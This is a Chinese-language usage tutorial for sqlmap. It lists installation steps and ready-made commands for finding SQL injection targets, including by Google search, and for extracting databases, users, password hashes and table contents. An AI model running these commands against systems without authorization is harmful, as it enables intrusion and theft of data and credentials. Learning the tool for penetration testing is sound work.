官網
官方用戶手冊
ttps://github.com/sqlmapproject/sqlmap/wiki
簡介
sqlmap是一個開源滲透測試工具,它可以自動執行檢測和利用SQL注入漏洞並接管數據庫服務器。它具有強大的檢測引擎,擁有針對極限滲透測試的眾多細分功能,及數據庫指紋識別,從數據庫獲取數據,訪問基礎文件系統以及通過外部連接在操作系統上執行命令。
SQL注入類型涵蓋:
基於布爾的盲注
基於時間的盲注
基於錯誤
基於UNION的查詢
堆棧查詢
安裝
方式一:通過kali linux 執行安全測試,SqlMap已安裝
方式二:使用windows進行測試,首先安裝python,然后通過pip 安裝sqlmap
pip install --upgrade sqlmap
方式三:使用其他linux系統,安裝Python--->安裝sqlmap
使用
1、指定目標自動掃描檢測
1) 直連數據庫
sqlmap.py -d "mysql://root:root@127.0.0.1:3306/DISSchool"
2) 指定目標URL
sqlmap.py -u http://192.168.56.102:8080/user.php?id=0
URL中必須包含參數
3) 從Burp或WebScarab的代理日志中解析目標
sqlmap.py -l ../proxy.log
使用參數“-l”指定一個BurpSuite或WebScarab的代理日志文件,Sqlmap將從日志文件中解析出可能的攻擊目標,並逐個嘗試進行注入。該參數后跟一個表示日志文件的路徑。推薦使用BurpSuite+SqlMap的方式。
4) 從站點地圖文件中解析目標
sqlmap.py -x http://www.6eat.com/sitemap.xml
5) 從文本文件中解析目標
sqlmap.py -m url.txt
可用將多個URL以一行一個的格式保存在文本文件中,然后使用參數“-m”,后跟該文本文件路徑,讓Sqlmap依次讀取文件中的URL作為攻擊目標。
6) 從文件載入HTTP請求
sqlmap.py -r get.txt
7) 將Google搜索結果作為攻擊目標
sqlmap.py -g "inurl:\".php?id=1\""
8) 從配置文件中載入攻擊目標
使用參數“-c”指定一個配置文件(如:sqlmap.conf),Sqlmap會解析該配置文件,按照該配置文件的配置執行動作。配置文件中可以指定攻擊目標,實際上除了攻擊目標外,配置文件還可以指定各種參數的值。
Sqlmap的安裝目錄中有一個名為sqlmap.conf的文件,該文件是配置文件的模板。
2、按照策略人工檢測
Get 注入舉例:
1、 sqlmap.py -u "XXXURLmusthaveparameter" --batch
--batch,不用每次都提示作選擇[Y/N]
2、sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" –dbms mysql –v 3
#指定數據庫類型為mysql,級別為3(v 可以設置6個等級,用來控制顯示不同的信息,一般選3就行了,默認使用1級,級別越高,檢測越全面)
Post 注入舉例:
1)使用抓包工具抓取post 請求包,保存在txt文件中
sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql
#-r 從一個文件中載入HTTP請求
#-p 指定username參數
暴庫
#掃描數據庫信息
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --dbs
#當前使用的數據庫
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --current-db
#數據庫使用賬戶
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --current-user#列出數據庫所有用戶
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --users
#列出數據庫中所有賬戶-對應的密碼哈希
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" --passwords#列出數據庫中的表 ,D:指定數據庫
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" -D xx庫 –tables
#列出數據庫表中的所有字段信息
sqlmap.py -u "http://192.168.12.157:30336/#/login?id=1" -D xx庫 -T xx表 --columns
#列出字段內容,--dump 打印
sqlmap.py -u "http://xxxxxx/products.asp?id=56" -D xx庫 -T xx表 -C "字段" –dump
參考: